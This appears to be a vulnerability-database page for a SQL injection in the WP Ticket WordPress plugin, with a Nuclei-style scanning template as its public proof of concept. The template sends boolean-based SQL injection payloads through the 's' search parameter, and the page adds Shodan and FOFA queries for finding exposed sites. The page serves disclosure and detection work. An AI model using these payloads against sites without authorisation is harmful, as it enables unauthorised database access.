CVE-2026-9848: WP Ticket <= 6.0.4 - SQL Injection

2026-11-09 PoC Public

Description

WP Ticket (wp-ticket) for WordPress through 6.0.4 allows unauthenticated SQL injection via front-end search due to unsanitized use of the "s" parameter in emd_author_search_results(). Exploitation requires at least one guest ticket. Fixed in 6.0.5.

Details

CVE
CVE-2026-9848 · CVE.org
Severity
高危
Published
PoC
Public

PoC

id: CVE-2026-9848

info:
  name: WP Ticket <= 6.0.4 - SQL Injection
  author: HaroonArshad-53
  severity: high
  description: |
    WP Ticket (wp-ticket) for WordPress through 6.0.4 allows unauthenticated SQL injection via front-end search due to unsanitized use of the "s" parameter in emd_author_search_results(). Exploitation requires at least one guest ticket. Fixed in 6.0.5.
  impact: |
    Unauthenticated attackers can extract sensitive database information via SQL injection, potentially compromising the entire database.
  remediation: |
    Update WP Ticket plugin to a version later than 6.0.4 or the latest available version.
  reference:
    - https://wordpress.org/plugins/wp-ticket/
    - https://nvd.nist.gov/vuln/detail/CVE-2026-9848
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2026-9848
    epss-score: 0.02057
    epss-percentile: 0.81425
    cwe-id: CWE-89
  metadata:
    verified: true
    max-request: 3
    vendor: emarket-design
    product: wp-ticket
    shodan-query: html:"/wp-content/plugins/wp-ticket"
    fofa-query: body="/wp-content/plugins/wp-ticket"
  tags: cve,cve2026,wordpress,wp,wp-plugin,sqli,wp-ticket

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/wp-ticket/readme.txt"

    extractors:
      - type: regex
        name: version
        group: 1
        regex:
          - 'Stable tag: ([0-9]+\.[0-9]+\.[0-9]+)'
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/?s=zzz%25%27%20OR%20%28post_type%3D%27emd_ticket%27%29%20OR%20%27x"

    extractors:
      - type: regex
        name: true_marker
        regex:
          - 'type-emd_ticket'
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/?s=zzz%25%27%20AND%20%28post_type%3D%27emd_ticket%27%29%20AND%20%27x"

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - "compare_versions(version, '<= 6.0.4')"
          - 'contains(true_marker, "type-emd_ticket")'
          - "status_code==200"
        condition: and

      - type: word
        part: body
        words:
          - 'type-emd_ticket'
        negative: true
# digest: 490a004630440220013ecc25b5db58bd1a46230d4d3ac76cf1119991340261fc8f07902131cd815c0220764c0a1b28e07dde869b07e311627c943948c6928e09515d086a15f07b0bfe63:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

微信搜一搜 biu.life